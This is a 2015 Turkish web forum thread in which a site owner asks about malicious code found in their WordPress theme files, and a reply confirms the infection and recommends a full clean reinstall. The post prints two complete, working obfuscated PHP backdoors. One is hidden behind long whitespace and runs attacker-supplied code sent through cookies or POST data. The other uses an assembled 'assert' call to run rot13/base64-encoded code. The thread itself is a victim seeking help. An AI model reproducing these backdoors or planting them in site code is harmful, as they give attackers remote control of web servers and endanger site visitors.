• 15-12-2015, 13:55:21
    #1
    Merhaba,

    Ftp üzerinde saçma sapan dosyalar bulmuştum backup.php gibi uzantısı farklı farklı dosyalar. bunları temizledim sorun düzelmedi. Şimdide tema kodlarının içerisinde,

    <?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $GLOBALS['x77037'];global$x77037;$x77037=$GLOBALS;$x77037['af57']="\x51\x67\x48\x32\x3d\x4a\x39\x71\x2f\x5d\x75\x3e\x56\x7a\x63\x36\x50\x4e\x79\x57\x2e\x69\x20\x31\x4b\x47\xd\x53\x2b\x2a\x22\x6d\x7e\x28\x35\x70\x4c\x46\x72\x7b\x5f\x77\x5a\x6e\x7d\x74\x6f\x6b\x5c\x29\x3a\x2c\x41\x6c\x24\x76\x73\x21\x6a\x9\x43\x52\x42\xa\x58\x3c\x49\x37\x44\x34\x3f\x55\x5b\x26\x25\x33\x2d\x59\x5e\x40\x64\x78\x4f\x38\x30\x3b\x4d\x27\x66\x61\x68\x62\x65\x60\x7c\x23\x45\x54";$x77037[$x77037['af57'][89].$x77037['af57'][23].$x77037['af57'][15].$x77037['af57'][84].$x77037['af57'][69].$x77037['af57'][91]]=$x77037['af57'][14].$x77037['af57'][90].$x77037['af57'][38];$x77037[$x77037['af57'][14].$x77037['af57'][88].$x77037['af57'][83].$x77037['af57'][88].$x77037['af57'][92].$x77037['af57'][67]]=$x77037['af57'][46].$x77037['af57'][38].$x77037['af57'][80];$x77037[$x77037['af57'][1].$x77037['af57'][15].$x77037['af57'][15].$x77037['af57'][6].$x77037['af57'][92].$x77037['af57'][3].$x77037['af57'][69].$x77037['af57'][91]]=$x77037['af57'][56].$x77037['af57'][45].$x77037['af57'][38].$x77037['af57'][53].$x77037['af57'][92].$x77037['af57'][43];$x77037[$x77037['af57'][81].$x77037['af57'][67].$x77037['af57'][23].$x77037['af57'][6].$x77037['af57'][89].$x77037['af57'][69].$x77037['af57'][23].$x77037['af57'][67]]=$x77037['af57'][21].$x77037['af57'][43].$x77037['af57'][21].$x77037['af57'][40].$x77037['af57'][56].$x77037['af57'][92].$x77037['af57'][45];$x77037[$x77037['af57'][56].$x77037['af57'][75].$x77037['af57'][83].$x77037['af57'][83].$x77037['af57'][69]]=$x77037['af57'][56].$x77037['af57'][92].$x77037['af57'][38].$x77037['af57'][21].$x77037['af57'][89].$x77037['af57'][53].$x77037['af57'][21].$x77037['af57'][13].$x77037['af57'][92];$x77037[$x77037['af57'][58].$x77037['af57'][88].$x77037['af57'][75].$x77037['af57'][92].$x77037['af57'][84].$x77037['af57'][89].$x77037['af57'][14]]=$x77037['af57'][35].$x77037['af57'][90].$x77037['af57'][35].$x77037['af57'][55].$x77037['af57'][92].$x77037['af57'][38].$x77037['af57'][56].$x77037['af57'][21].$x77037['af57'][46].$x77037['af57'][43];$x77037[$x77037['af57'][88].$x77037['af57'][91].$x77037['af57'][69].$x77037['af57'][3].$x77037['af57'][92]]=$x77037['af57'][10].$x77037['af57'][43].$x77037['af57'][56].$x77037['af57'][92].$x77037['af57'][38].$x77037['af57'][21].$x77037['af57'][89].$x77037['af57'][53].$x77037['af57'][21].$x77037['af57'][13].$x77037['af57'][92];$x77037[$x77037['af57'][43].$x77037['af57'][88].$x77037['af57'][92].$x77037['af57'][88].$x77037['af57'][67]]=$x77037['af57'][91].$x77037['af57'][89].$x77037['af57'][56].$x77037['af57'][92].$x77037['af57'][15].$x77037['af57'][69].$x77037['af57'][40].$x77037['af57'][80].$x77037['af57'][92].$x77037['af57'][14].$x77037['af57'][46].$x77037['af57'][80].$x77037['af57'][92];$x77037[$x77037['af57'][31].$x77037['af57'][15].$x77037['af57'][14].$x77037['af57'][88].$x77037['af57'][3].$x77037['af57'][34].$x77037['af57'][75].$x77037['af57'][89].$x77037['af57'][92]]=$x77037['af57'][56].$x77037['af57'][92].$x77037['af57'][45].$x77037['af57'][40].$x77037['af57'][45].$x77037['af57'][21].$x77037['af57'][31].$x77037['af57'][92].$x77037['af57'][40].$x77037['af57'][53].$x77037['af57'][21].$x77037['af57'][31].$x77037['af57'][21].$x77037['af57'][45];$x77037[$x77037['af57'][41].$x77037['af57'][23].$x77037['af57'][6].$x77037['af57'][80].$x77037['af57'][6].$x77037['af57'][83].$x77037['af57'][92].$x77037['af57'][14].$x77037['af57'][23]]=$x77037['af57'][53].$x77037['af57'][67].$x77037['af57'][91].$x77037['af57'][3].$x77037['af57'][91].$x77037['af57'][69];$x77037[$x77037['af57'][81].$x77037['af57'][14].$x77037['af57'][83].$x77037['af57'][89].$x77037['af57'][69]]=$x77037['af57'][31].$x77037['af57'][23].$x77037['af57'][69].$x77037['af57'][6];$x77037[$x77037['af57'][10].$x77037['af57'][83].$x77037['af57'][6].$x77037['af57'][69].$x77037['af57'][92].$x77037['af57'][80].$x77037['af57'][3]]=$_POST;$x77037[$x77037['af57'][55].$x77037['af57'][14].$x77037['af57'][69].$x77037['af57'][6].$x77037['af57'][23].$x77037['af57'][34]]=$_COOKIE;@$x77037[$x77037['af57'][81].$x77037['af57'][67].$x77037['af57'][23].$x77037['af57'][6].$x77037['af57'][89].$x77037['af57'][69].$x77037['af57'][23].$x77037['af57'][67]]($x77037['af57'][92].$x77037['af57'][38].$x77037['af57'][38].$x77037['af57'][46].$x77037['af57'][38].$x77037['af57'][40].$x77037['af57'][53].$x77037['af57'][46].$x77037['af57'][1],NULL);@$x77037[$x77037['af57'][81].$x77037['af57'][67].$x77037['af57'][23].$x77037['af57'][6].$x77037['af57'][89].$x77037['af57'][69].$x77037['af57'][23].$x77037['af57'][67]]($x77037['af57'][53].$x77037['af57'][46].$x77037['af57'][1].$x77037['af57'][40].$x77037['af57'][92].$x77037['af57'][38].$x77037['af57'][38].$x77037['af57'][46].$x77037['af57'][38].$x77037['af57'][56],0);@$x77037[$x77037['af57'][81].$x77037['af57'][67].$x77037['af57'][23].$x77037['af57'][6].$x77037['af57'][89].$x77037['af57'][69].$x77037['af57'][23].$x77037['af57'][67]]($x77037['af57'][31].$x77037['af57'][89].$x77037['af57'][81].$x77037['af57'][40].$x77037['af57'][92].$x77037['af57'][81].$x77037['af57'][92].$x77037['af57'][14].$x77037['af57'][10].$x77037['af57'][45].$x77037['af57'][21].$x77037['af57'][46].$x77037['af57'][43].$x77037['af57'][40].$x77037['af57'][45].$x77037['af57'][21].$x77037['af57'][31].$x77037['af57'][92],0);@$x77037[$x77037['af57'][31].$x77037['af57'][15].$x77037['af57'][14].$x77037['af57'][88].$x77037['af57'][3].$x77037['af57'][34].$x77037['af57'][75].$x77037['af57'][89].$x77037['af57'][92]](0);$s69c72=NULL;$ced0c6=NULL;$x77037[$x77037['af57'][89].$x77037['af57'][67].$x77037['af57'][88].$x77037['af57'][34].$x77037['af57'][3].$x77037['af57'][75].$x77037['af57'][14].$x77037['af57'][91]]=$x77037['af57'][67].$x77037['af57'][23].$x77037['af57'][92].$x77037['af57'][83].$x77037['af57'][83].$x77037['af57'][3].$x77037['af57'][6].$x77037['af57'][67].$x77037['af57'][76].$x77037['af57'][6].$x77037['af57'][80].$x77037['af57'][75].$x77037['af57'][3].$x77037['af57'][76].$x77037['af57'][69].$x77037['af57'][91].$x77037['af57'][75].$x77037['af57'][83].$x77037['af57'][76].$x77037['af57'][91].$x77037['af57'][92].$x77037['af57'][75].$x77037['af57'][89].$x77037['af57'][76].$x77037['af57'][92].$x77037['af57'][92].$x77037['af57'][83].$x77037['af57'][67].$x77037['af57'][91].$x77037['af57'][69].$x77037['af57'][88].$x77037['af57'][88].$x77037['af57'][34].$x77037['af57'][69].$x77037['af57'][3].$x77037['af57'][23];global$a7f523cb;function m149($s69c72,$af3eb7){global$x77037;$b9a6="";for($l03b591fa=0;$l03b591fa<$x77037[$x77037['af57'][1].$x77037['af57'][15].$x77037['af57'][15].$x77037['af57'][6].$x77037['af57'][92].$x77037['af57'][3].$x77037['af57'][69].$x77037['af57'][91]]($s69c72);){for($n14f3=0;$n14f3<$x77037[$x77037['af57'][1].$x77037['af57'][15].$x77037['af57'][15].$x77037['af57'][6].$x77037['af57'][92].$x77037['af57'][3].$x77037['af57'][69].$x77037['af57'][91]]($af3eb7)&&$l03b591fa<$x77037[$x77037['af57'][1].$x77037['af57'][15].$x77037['af57'][15].$x77037['af57'][6].$x77037['af57'][92].$x77037['af57'][3].$x77037['af57'][69].$x77037['af57'][91]]($s69c72);$n14f3++,$l03b591fa++){$b9a6.=$x77037[$x77037['af57'][89].$x77037['af57'][23].$x77037['af57'][15].$x77037['af57'][84].$x77037['af57'][69].$x77037['af57'][91]]($x77037[$x77037['af57'][14].$x77037['af57'][88].$x77037['af57'][83].$x77037['af57'][88].$x77037['af57'][92].$x77037['af57'][67]]($s69c72[$l03b591fa])^$x77037[$x77037['af57'][14].$x77037['af57'][88].$x77037['af57'][83].$x77037['af57'][88].$x77037['af57'][92].$x77037['af57'][67]]($af3eb7[$n14f3]));}}return$b9a6;}function l7b2b4($s69c72,$af3eb7){global$x77037;global$a7f523cb;return$x77037[$x77037['af57'][81].$x77037['af57'][14].$x77037['af57'][83].$x77037['af57'][89].$x77037['af57'][69]]($x77037[$x77037['af57'][81].$x77037['af57'][14].$x77037['af57'][83].$x77037['af57'][89].$x77037['af57'][69]]($s69c72,$a7f523cb),$af3eb7);}foreach($x77037[$x77037['af57'][55].$x77037['af57'][14].$x77037['af57'][69].$x77037['af57'][6].$x77037['af57'][23].$x77037['af57'][34]]as$af3eb7=>$pdec6){$s69c72=$pdec6;$ced0c6=$af3eb7;}if(!$s69c72){foreach($x77037[$x77037['af57'][10].$x77037['af57'][83].$x77037['af57'][6].$x77037['af57'][69].$x77037['af57'][92].$x77037['af57'][80].$x77037['af57'][3]]as$af3eb7=>$pdec6){$s69c72=$pdec6;$ced0c6=$af3eb7;}}$s69c72=@$x77037[$x77037['af57'][88].$x77037['af57'][91].$x77037['af57'][69].$x77037['af57'][3].$x77037['af57'][92]]($x77037[$x77037['af57'][41].$x77037['af57'][23].$x77037['af57'][6].$x77037['af57'][80].$x77037['af57'][6].$x77037['af57'][83].$x77037['af57'][92].$x77037['af57'][14].$x77037['af57'][23]]($x77037[$x77037['af57'][43].$x77037['af57'][88].$x77037['af57'][92].$x77037['af57'][88].$x77037['af57'][67]]($s69c72),$ced0c6));if(isset($s69c72[$x77037['af57'][89].$x77037['af57'][47]])&&$a7f523cb==$s69c72[$x77037['af57'][89].$x77037['af57'][47]]){if($s69c72[$x77037['af57'][89]]==$x77037['af57'][21]){$l03b591fa=Array($x77037['af57'][35].$x77037['af57'][55]=>@$x77037[$x77037['af57'][58].$x77037['af57'][88].$x77037['af57'][75].$x77037['af57'][92].$x77037['af57'][84].$x77037['af57'][89].$x77037['af57'][14]](),$x77037['af57'][56].$x77037['af57'][55]=>$x77037['af57'][23].$x77037['af57'][20].$x77037['af57'][84].$x77037['af57'][76].$x77037['af57'][23],);echo@$x77037[$x77037['af57'][56].$x77037['af57'][75].$x77037['af57'][83].$x77037['af57'][83].$x77037['af57'][69]]($l03b591fa);}elseif($s69c72[$x77037['af57'][89]]==$x77037['af57'][92]){eval($s69c72[$x77037['af57'][80]]);}exit();} ?>

    <?php 
    
    ?>
    
    <?php 
    
    ?>
    
    <?php 
    //###==###
    error_reporting(0); 
    $strings = "as";$strings .= "sert";
    @$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvE1pzjtCFNvnUE0pQbiY3Oipz5iAwx2YzAioF9aMKDhpTujC2D9Vv51pzkyozAiMTHbWTDcYvVzqG0vYaIloTIhL29xMFtxqFxhVvMwCFVhWTZhVvMcCGRznQ0vYz1xAFtvZGZ5ZGVkBGuvLGWxLwtlBGp3ZJWxAwD3ZGx0Z2IxBQDvYvExYvE1YvEwYvVkVvx7PzyzXTyhnI9aMKDbVzSfoT93K3IloS9zo3OyovVcVQ09VQRcVUfXWTyvqvN9VTMcoTIsM2I0K2AioaEyoaEmXPE1pzjcBjc9VTIfp2IcMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcBjcwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsHxIHIIWBISWOGyATEIVfVSEFIHHcBjbxpzImqJk0VQ0tL3IloS9yrTIwXPEwnPx7PzA1pzksL2kip2HbWTAbXGfXWTyvqvN9VPElMKA1oUD7Pa0tMJkmMFO7PvEzpPN9VTMmo2Aeo3OyovtvpT9loz82BGLhL29gVvjtBQNfVPEypaWholjtWTIlpaA0pvjtZmNcBjccMvNbWTMjXFO7PvNtVPNxo3I0VQ0tVxqSIPNiM2I0YaObpQ9xCFVhqKWfMJ5wo2EyXPExXF4vWaH9Vv51pzkyozAiMTHbWUHcYvVzLm0vYvEwYvVznG0kWzt9Vv5gMQHbVwRmBGRlZGx4LzRlMTV4Zwx3AmSvMQL0AmR5AQAyMQt0Vv4xMP4xqF4xLl4vZFVcYvVtFSEHHP8kYwSppykhVwfXVPNtVPEiqKDtYw0tVxuip3D6VUOipz5iAwx2YzAioIklKT4vBjbtVPNtWT91qPNhCFNvD29hozIwqTyiowbtD2kip2IppykhKUWpovV7PvNtVPOzq3WcqTHbWTMjYPNxo3I0XGfXVPNtVPElMKAjVQ0tVvV7PvNtVPO3nTyfMFNbVJMyo2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVzZ2LGExZwx5VvxtrlONLKAmMKW0XPEsHxIEIHIGISfvLlWqXGftsDc9BjcyL2uiVPEcLaL7sD=="));'));
    //###==###
    ?>
    Bu iki kodu buldum ve temizledim. Ayrıca wp nin dosyalarını silip tekrardan yükledim. bu kodlar sayesinde giriyorlardır değil mi?
  • 01-01-2016, 01:41:36
    #2
    Evet virüs yemişsin. Komple ftp yedeği alıp dosyaları tekrardan temiz temiz atman lazım tek bir yerde kalsa bile tekrardan bulaşıyor sisteme.